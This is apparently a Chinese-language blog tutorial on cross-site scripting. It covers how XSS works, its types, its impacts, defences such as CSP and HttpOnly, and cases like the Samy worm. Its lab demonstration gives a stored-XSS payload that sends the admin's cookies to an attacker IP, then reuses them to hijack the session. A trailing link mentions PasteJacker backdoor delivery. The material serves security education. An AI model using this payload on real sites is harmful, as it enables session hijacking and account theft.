XSS 漏洞详解

XSS 漏洞详解

文章目录

  • XSS 漏洞详解
    • 漏洞描述
    • 漏洞原理
    • 漏洞场景
    • 漏洞评级
    • 漏洞危害
    • 漏洞验证
    • 漏洞利用
    • 防御方案
    • 典型案例

漏洞描述

XSS全名叫Cross Site Scripting(跨站脚本攻击)因为简写和css同名所以改名为XSS,该漏洞主要利用javascript可以控制html,css,浏览器的行为从而恶意利用,当开发人员未对输入的内容进行过滤或编码时,恶意用户在能向网页提交信息的地方输入构造好的js恶意代码,从而触发XSS

漏洞原理

xss是对用户浏览器进行攻击的,当攻击者在能够触发xss漏洞的地方输入构造好的恶意js代码上传到服务器,在客户机浏览器进行访问被注入xss的网页时,浏览器就会解析并执行这段恶意代码就会遭受到xss攻击

漏洞场景

XSS漏洞一般发生的地方:

  • url传递参数的地方
  • 能收集用户输入的地方

漏洞评级

漏洞等级:高危

漏洞危害

  • 恶意弹窗广告,刷流量:攻击者可以利用XSS漏洞在受害者的浏览器中显示恶意广告或弹窗,从而扰乱用户体验并可能导致流量损失
  • 重定向流量:攻击者可以利用XSS漏洞将用户重定向到恶意网站,从而窃取用户的个人信息、敏感数据或者进行其他恶意操作
  • 盗取用户的cookie信息
  • 劫持用户会话执行任意操作
  • 传播蠕虫病毒
    等…

漏洞验证

利用存储型XSS获取cms 网站后台管理员Cookie攻击者登录后台
攻击机开启http服务
在这里插入图片描述
访问cms网站在留言板进行留言并插入储存型xss注入
<script>document.write(\'<img src=\"http://10.9.47.241/\'+document.cookie+\'\"width=0 height=0 border=0/>\')\;</script>
在这里插入图片描述
在这里插入图片描述
注入成功模拟目标机管理原进行登录
在这里插入图片描述
登陆成功访问留言管理页面
在这里插入图片描述
返回http服务查看cookie已经获取到了
在这里插入图片描述
将他写入到浏览器就可以直接登录了
document.cookie=“username=admin”
document.cookie=“userid=1”
document.cookie=“PHPSESSID=fhs6pphep0ru6b74kclkugl7s5”
在这里插入图片描述
直接访问管理员页面登录成功
在这里插入图片描述

漏洞利用

  • 反射型xss
    • 非持久性、参数型的跨站脚本,不会一直存在的,反射型xss代码在web应用参数中比如搜索型
  • 储存型xss
    • 持久性跨站脚本。持久性体现在 XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方,可以在留言板位置进行留言,将恶意代码写进数据库中
  • DOM型xss
    • DOM 型 XSS 是一种XSS 攻击,其中攻击的代码是由于修改受害者浏览器页面的 DOM 树而执行的。特殊的地方就是攻击代码(payload)在浏览器本地修改 DOM 树而执行,并不会将 paylod 上传到服务器,这也使得 DOM 型 XSS 比较难以检测。

防御方案

  • 输入过滤和转义:对用户输入的数据进行严格的过滤和转义,确保所有用户输入都不包含恶意脚本。可以使用HTML编码、JavaScript编码等技术来对用户输入进行转义,从而防止恶意脚本的执行。

  • 内容安全策略(CSP):CSP是一种在HTTP头部中设置的策略,可以指定浏览器只能加载特定来源的资源,从而减少XSS攻击的可能性。

  • 验证和白名单:对用户输入的数据进行验证,并只接受符合特定格式和规则的数据。可以使用白名单机制,只允许特定类型的标记和内容通过输入。

  • HttpOnly标记:在设置cookie时,使用HttpOnly标记,使得cookie只能通过HTTP协议传输,而无法通过JavaScript访问,从而减少XSS攻击对cookie的影响。

  • 安全审计和漏洞扫描:定期对Web应用程序进行安全审计和漏洞扫描,及时发现和修复潜在的XSS漏洞。

  • 教育和培训:对开发人员和网站管理员进行安全意识培训,教导他们如何编写安全的代码和如何防范XSS攻击。

综合运用这些防御方案,可以有效降低XSS攻击的风险,保护Web应用程序和用户的安全

典型案例

  • Samy蠕虫:2005年,一名黑客Samy Kamkar通过MySpace社交网络站点上的XSS漏洞,成功注入恶意脚本代码,从而创建了一个名为“Samy”的用户,并在他的个人资料中添加了恶意JavaScript代码。当其他用户访问Samy的个人资料时,他们的个人资料也会被感染,并将自己的个人资料中的恶意代码注入到其他用户的个人资料中,从而形成了一个蠕虫式攻击。

  • Stealing Cookies:攻击者可以通过注入恶意脚本代码,窃取用户的cookie信息,从而获取用户的身份验证信息,进而访问用户的账户和个人数据。

  • XSS Keylogger:攻击者可以通过注入恶意脚本代码,记录用户在输入框中输入的所有内容,包括用户名和密码等敏感信息,从而窃取用户的账户和个人数据。

  • Clickjacking:攻击者可以通过注入恶意脚本代码,将用户点击的链接覆盖在一个透明的iframe中,从而欺骗用户点击了一个看似无害的链接,实际上却是执行了恶意操作。

这些案例都展示了XSS攻击的危害性和可怕性,强调了对Web应用程序进行安全审计和漏洞扫描的重要性,以及对开发人员和网站管理员进行安全意识培训的必要性。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/128649.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

剪贴板劫持--PasteJacker的使用

启动 PasteJacker [1] Windows [2] Linux [3] Exit第一次是让我们选择要攻击针对的目标系统&#xff0c;这里以Windows系统为例&#xff0c;即我自己的物理机 因此键入 1 &#xff0c;回车 [1] Download and execute a msfvenom backdoor using certutil (Web delivery Past…

Python编程——模块、包和__init__.py

1. 模块 Python中的一个文件即为一个模块(Module)&#xff0c;一个模块引用另外一个模块的变量、函数或类时&#xff0c;使用import来导入。模块名即文件名。 如fibo.py 文件下有如下代码&#xff1a; def fib(n): # write Fibonacci series up to na, b 0, 1while a <…

JAVA使用Grafana和Loki抓取聚合日志

Grafana和Loki抓取聚合日志 适用范围配置常见问题参考文章 适用范围 Grafana是日志看板Loki是Grafana的一个插件用于收集日志promtail是Loki配套的抓取工具&#xff0c;放在目标服务器抓取日志 配置 日志服务器安装Grafana&#xff0c;傻瓜式下一步日志服务器启动Loki&#…

【hexo博客配置】hexo icarus主题配置

配置icarus 步骤一&#xff1a;下载icarus github网址&#xff1a;[hexo-theme-icarus](ppoffice/hexo-theme-icarus: A simple, delicate, and modern theme for the static site generator Hexo. (github.com)) 可以从这个网址上下载zip文件&#xff0c;解压后&#xff0c…

网络安全专业的就业方向有哪些?

网络安全专业的就业方向有哪些&#xff1f; 网络安全专业毕业生就业较多&#xff0c;可以从事计算机科学与技术、信息与通信、电子商务、互联网金融、电子政务等领域的相关工作。还可以从事政府机关事业单位、银行、保险等信息安全产品的研发、信息系统安全分析与设计、信息安…

LeetCode算法心得——全排列(回溯型排列)

大家好&#xff0c;我是晴天学长&#xff0c;排列型的回溯&#xff0c;需要的小伙伴可以关注支持一下哦&#xff01;后续会继续更新的。&#x1f4aa;&#x1f4aa;&#x1f4aa; 1) .全排列 给定一个不含重复数字的数组 nums &#xff0c;返回其 所有可能的全排列 。你可以 按…

Linux Hadoop平台伪分布式安装(Hive on Spark)

&#x1f4d4;Linux Hadoop 伪分布式安装(Hive on Spark) 安装目录 1. JDK2. Hadoop3. MysqlHive3.1 Mysql8安装3.2 Hive安装 4. Spark4.1 Maven安装4.2 Scala安装4.3 Spark编译并安装 5. Zookeeper6. HBase 版本概要&#xff1a; jdk&#xff1a; jdk-8u391-linux-x64.tar.gz…

消防站拍摄VR全景,“火焰蓝”让你的安全感拉满

今年全国消防日的主题是“预防为主、生命至上”&#xff0c;看着这些“火焰蓝”有没有将你的安全感拉满呢&#xff1f;近年来&#xff0c;消防力量的增强使得专业救援力量也逐渐加强&#xff0c;综合消防救援能力也在全面提升&#xff0c;通过VR全景拍摄消防站也是一个非常有意…

爆肝一文,走进大名鼎鼎的HTTP协议(通俗白话+三万字超详细+抓包工具使用)

文章目录 前言1. HTTP 是什么1.1 HTTP 完整请求流程1.2 理解 HTTP 协议的工作过程 2. HTTP 协议格式2.1 抓包工具的使用2.2 抓包工具的原理2.3 抓包结果2.4 协议格式总结 3. HTTP 请求(Request)3.1 认识 URL(Uniform Resource Locator)URL 基本格式关于 URL encode 3.2 认识请求…

[云原生案例2.3 ] Kubernetes的部署安装 【多master集群架构高可用 ---- (二进制安装部署)】

文章目录 1. Kubernetes多Master集群高可用方案1.1 多节点Master高可用的实现过程1.2 实现高可用方法 2. 新Master节点的部署2.1 前置准备2.2 系统初始化操作2.2.1 关闭防火墙、selinux和swap分区2.2.2 修改主机名&#xff0c;添加域名映射2.2.3 修改内核参数2.2.4 时间同步 2.…

【23真题】简单!原题很多!211!

今天分享的是23年内蒙古869的信号与系统试题及解析。 本套试卷难度分析&#xff1a;22年内蒙古大学869考研真题&#xff0c;若有需要&#xff0c;戳这里自取&#xff01;该院校是考察通信原理信号的&#xff0c;从信号部分来看&#xff0c;本套试题内容难度中等偏下&#xff0…

css:文本对齐属性vertical-align实现化学元素上标下标的显示

文档 https://developer.mozilla.org/zh-CN/docs/Web/CSS/vertical-align 语法 vertical-align: <value>;可选值&#xff1a; sub&#xff1a;使元素的基线与父元素的下标基线对齐。 super&#xff1a;使元素的基线与父元素的上标基线对齐。 text-top&#xff1a;使…

PMP项目管理师证书到底是个什么证

项目管理师 PMP是指项目管理专业人士资格认证&#xff0c;PMP的全称是 Project Management Professional&#xff0c;它是由美国项目管理协会(PMI)发起的&#xff0c;严格 评估项目管理人员知识技能是否具有高品质的资格认证考试。 PMP是目前项目管理界含金量较高的证书&…

2023/11/10 JAVA学习

取文件夹本身大小 打开文件 文件改名案例 输出流,文件依照你起的文件名自动创建 哪个流后创建,哪个流先关闭 虚拟机退出跑不了 finally别返回值

NSS [鹏城杯 2022]压缩包

NSS [鹏城杯 2022]压缩包 考点&#xff1a;条件竞争/逻辑漏洞&#xff08;解压失败不删除已经解压文件&#xff09; 参考&#xff1a;回忆phpcms头像上传漏洞以及后续影响 | 离别歌 (leavesongs.com) 源码有点小多 <?php highlight_file(__FILE__);function removedir($…

多彩的树 -----题解(状压dp + 容斥原理)

目录 多彩的树 题目描述 输入描述: 输出描述: 输入 输出 思路解析&#xff1a; 代码实现&#xff1a; 多彩的树 时间限制&#xff1a;C/C 5秒&#xff0c;其他语言10秒 空间限制&#xff1a;C/C 262144K&#xff0c;其他语言524288K 64bit IO Format: %lld 题目描述 …

【算法练习Day42】买卖股票的最佳时机 III买卖股票的最佳时机 IV

​&#x1f4dd;个人主页&#xff1a;Sherry的成长之路 &#x1f3e0;学习社区&#xff1a;Sherry的成长之路&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;练题 &#x1f3af;长路漫漫浩浩&#xff0c;万事皆有期待 文章目录 买卖股票的最佳时机 III买卖…

二十四、W5100S/W5500+RP2040树莓派Pico<PHY的状态模式控制>

文章目录 1. 前言2. 相关简介2.1 简述2.2 原理2.3 优点&应用 3. WIZnet以太网芯片4. PHY模式配置测试4.1 程序流程图4.2 测试准备4.3 连接方式4.4 相关代码4.5 测试现象 5. 注意事项6. 相关链接 1. 前言 W5100S/W5500不仅支持自动PHY自动协商&#xff0c;而且支持用户自定义…

Java中的反射机制

获取字节码文件对象的三种方式 1&#xff0c;&#xff08;常用&#xff09;源代码阶段&#xff0c;Class.forName("全类名") 2&#xff0c;&#xff08;传参&#xff09;加载阶段 类名.class 3&#xff0c;&#xff08;前提有对象&#xff09;运行阶段 对象.getClas…

Mac使用brew搭建kafka集群

1. 第一步&#xff1a;单机搭建 单机搭建&#xff1a; 安装完后&#xff0c;默认自动安装对应版本zookeeper brew install kafka2.第二步&#xff1a;修改配置文件: 配置3个Kafka 第一个&#xff08;使用默认配置&#xff09; vi /opt/homebrew/etc/kafka/server.propertie…